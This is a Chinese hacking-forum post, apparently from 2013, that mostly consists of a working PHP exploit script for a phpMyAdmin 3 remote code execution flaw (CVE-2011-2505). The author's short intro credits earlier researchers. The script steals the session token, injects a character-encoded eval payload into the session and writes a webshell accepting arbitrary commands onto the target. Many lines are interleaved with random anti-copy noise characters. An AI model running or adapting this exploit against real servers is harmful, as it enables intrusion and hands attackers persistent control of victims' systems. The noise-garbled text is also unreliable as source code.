找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2092|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。: A0 n* [9 w9 Q
2 ^: _: O) G& S  h0 c. k$ O
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。4 S7 [+ }9 \$ c7 w/ _. K, O
+ Y4 o$ s- L- H2 z
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
6 Z7 `7 {2 `- H4 ^2 l一是session.auto_start = 1;
, k6 j" _' k9 W. j9 n5 F7 e二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
( }3 q2 W  Z5 n当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
9 q% W0 _+ s" G- X! y% w# r
8 O) w: w2 O1 l. I在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
5 y5 H! Z  m' E, N5 i$ s, o0 ]
# h" X; Y/ }- V) V0 t; b; i+ u. s8 k于是写了这个php版本的exp,代码如下:
: @+ V, _1 k* _" u1 c
0 y: Q0 {: L0 {& X% ~#!/usr/bin/php! G% U2 |7 N5 Y" Q* S7 }: }
<?php
) _0 S, ?* m7 Fprint_r('" R! ?8 @5 Y. F* C8 ^
+---------------------------------------------------------------------------+
* w6 o/ u/ O$ }! J' A# \$ Dpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]5 h( @- C  q0 R3 w! E7 e4 L! ?; M
by oldjun(www.oldjun.com)
( C- d9 C/ P) `3 E' b. }6 F, r7 mwelcome to www.t00ls.net
- ?% r3 o4 n( ?4 P- h  a; _5 O, Zmail: oldjun@gmail.com4 P/ v, e' q9 L4 U$ m3 f6 x
Assigned CVE id: CVE-2011-25051 h3 k$ ?. ]  q1 h) v
+---------------------------------------------------------------------------+7 y0 k9 K7 [/ _
');
2 P3 d4 ^) O1 V
) z  R% {) Q% ]7 o  g3 D) g* J/ _/**6 S- m( g* `" L' F2 \4 ^
* working when the directory:"config" exists and is writeable.  i4 l/ ^- d1 H9 \2 \" v. y( I
**/- u9 ?2 K: R  n( B8 Z/ H
* z% b9 A0 k0 n0 Q
if ($argc < 3) {
$ x3 I& I8 u# V    print_r('
% l& P2 D, K: G0 E+ a+---------------------------------------------------------------------------+* b6 K7 Q$ G0 U0 E3 O0 U, g
Usage: php '.$argv[0].' host path
7 A- v+ j5 [$ K& zhost:      target server (ip/hostname)
0 ~3 H, y/ M9 D3 @. Z6 S9 T# v  [" ipath:      path to pma38 v- H6 r! r# R
Example:
( j/ N# b+ D$ N: tphp '.$argv[0].' localhost /pma/' g, |% W) H; U$ b/ E: S' q" m" G
+---------------------------------------------------------------------------+; |! J6 O  w7 p, [. R# f3 k
');) @0 K4 ?3 @) H4 V$ h
    exit;4 I, [8 X# N) }2 {8 V# w" D% b
}2 c7 g9 i, ?/ E- l1 d
6 j' E1 w' ^0 H* S
$host = $argv[1];9 z! M) R1 s  N; b
$path = $argv[2];! j7 v7 y& B# m; u
: H0 B& Q& O& h- l/ J8 D
/**
5 A' V: Q$ ]3 { * Try to determine if the directory:"config" exists) W6 @4 O6 `6 }  P/ R/ h4 y* e1 J  l
**/1 Z* L' O! z! {* P: s0 C
echo "[+] Try to determine if the directory:config exists....\n";
8 W2 k! W1 i% A4 C' m$returnstr=php_request('config/');# V2 t* P3 `- x+ {7 z5 g
if(strpos($returnstr,'404')){1 O# _$ U8 ~' w- w
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
9 z. C8 l2 Y& u7 w* \- W% n}# k/ P; u. X) \6 T
% P" K- ^" E, c, ?3 X0 n
/**" }3 ^. X; ?& N. u4 A8 M- {
* Try to get token and sessionid
8 N. O/ ?& V  U9 B) R3 o/ V5 p1 n**/
2 ~7 H7 ]7 K* e  Pecho "[+] Try to get token and sessionid....\n";
: ^. c1 |& b, }2 t/ z9 y$result=php_request('index.php');
% a7 N; m, N0 b2 @- b6 _+ ~, xpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
) |  e" Z9 A# h" X& y, C- l2 Z: h$token=$resp[3];
3 o4 D" U0 h: p8 U: ^$sessionid=$resp[1];
& g9 [6 m* [( {if($token && $sessionid){- d" W! H" h; j& |' p% {
    echo "[+] tokentoken\n";
! q& `, |1 x& h: S4 f( {    echo "[+] Session IDsessionid\n";( v6 Q) M0 J9 A+ z9 W5 w0 _  M
}else{: H* O+ m& ?# ]4 ?
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");$ |- m: Q5 s! B) {( M8 ]
}  k; R, a9 c; R$ Y: M2 H
9 D& o3 R7 `5 L( O3 l
/**
& [0 _" \% n, l6 Y" `) M1 t * Try to insert shell into session0 n; Z9 H! T) H# u6 Q$ k. k" \; `( D
**/* x! D7 {7 |: s) L" v. z2 P
echo "[+] Try to insert shell into session....\n";
4 }5 t- p) A% J1 l1 mphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.8 N2 _/ r. ?9 x1 g

$ K/ j* T3 ^: v" ?# b7 y' q# [/**" T- i6 `7 E- X# u  j
* Try to create webshell- g% i7 x6 G1 a& \0 q
**/
( U: }1 }) [0 Wecho "[+] Try to create webshell....\n";
- A1 n3 i: X  jphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
4 r# h6 c2 k$ z/ C/**8 S; J# [, m) L) X$ m
* Try to check if the webshell was created successfully( T6 w5 I+ l6 W3 L( I7 g9 [9 u
**/7 S, ^0 l  k( X# Q
echo "[+] Try to check if the webshell was created successfully....\n";
1 H. o/ R% X' L& [/ }: O& B. R$content=php_request('config/config.inc.php');
( h8 ]& y: K% s9 |8 sif(strpos($content,'t00ls')){
; S- _/ ~* O) i) b/ @& ?: I, ~    echo "[+] Congratulations! Expoilt successfully....\n";5 M8 T- t1 t5 s* `/ q
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";9 [0 _! Y* i. Y% C) ?; _" _
}else{
7 J8 e* n4 ]1 |$ b    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
0 x- \3 ]& V3 b" S, j}
' t2 g* H) K" Y  @: k* S, r, ~5 c. t( z" N$ a- x6 P3 k/ @  q2 L
function php_request($url,$data='',$cookie=''){
- |& F2 a  N- O' M    global  $host, $path;
9 B" _2 U7 w* n! u* H    ; {. F$ r  \  y. ^- |4 p* u* n
    $method=$data?'POST':'GET';1 z* t# Y, I1 U, p, ~2 t# z
    " P( N2 p& o: ?- N( z& e4 I5 g
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";# v8 `8 K* f1 k0 Y: F6 Z
    $packet .= "Accept: */*\r\n";
) p7 ^; e# D+ d: Q* A2 j0 ?    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";1 L( |  ~6 L$ s% V1 o, V0 N1 T# v
    $packet .= "Host: $host\r\n";+ H" O4 L2 k; |+ q8 b. o
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";# Y4 E$ e/ _1 f4 H* M6 |) M( ]
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
/ r- _6 C7 G2 q  n! s& K+ t    $packet .= $cookie?"Cookie: $cookie\r\n":"";
$ l  A7 w; s5 V    $packet .= "Connection: Close\r\n\r\n";  A! z$ a$ X6 R
    $packet .= $data?$data:"";
! P4 _5 R3 ?( M/ N$ s
8 L9 n4 N2 d8 e' ]    $fp = fsockopen(gethostbyname($host), 80);
; A$ B. w% v0 i( \. R, Q9 ]    if (!$fp) {
0 k# ]: p, p& N- i3 P: a- n    echo 'No response from '.$host; die;4 ?) ]6 h" y( V
    }: ~$ ^/ t% u$ O+ t4 c
    fputs($fp, $packet);
! G( C( y  S+ H& y7 v4 F  j& C7 R' `* B$ f4 a# w: c
    $resp = '';# |" Z; I6 Q% M4 }: v* D% u% O3 v

- m0 J  O+ J, |4 H) H* j    while ($fp && !feof($fp))
9 m8 d! v9 m( ^6 y+ r9 a        $resp .= fread($fp, 1024);
! K+ V$ E% m+ J" J6 X  W& l9 \# b
2 ?) ~9 b! {: L) [$ w    return $resp;, J+ Q! _6 S4 d4 U0 T
}+ w6 b! g3 z' G  {
    : o% {( W( i/ t$ X' D- \
?> 9 ?# N: y* P5 w- I) N
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表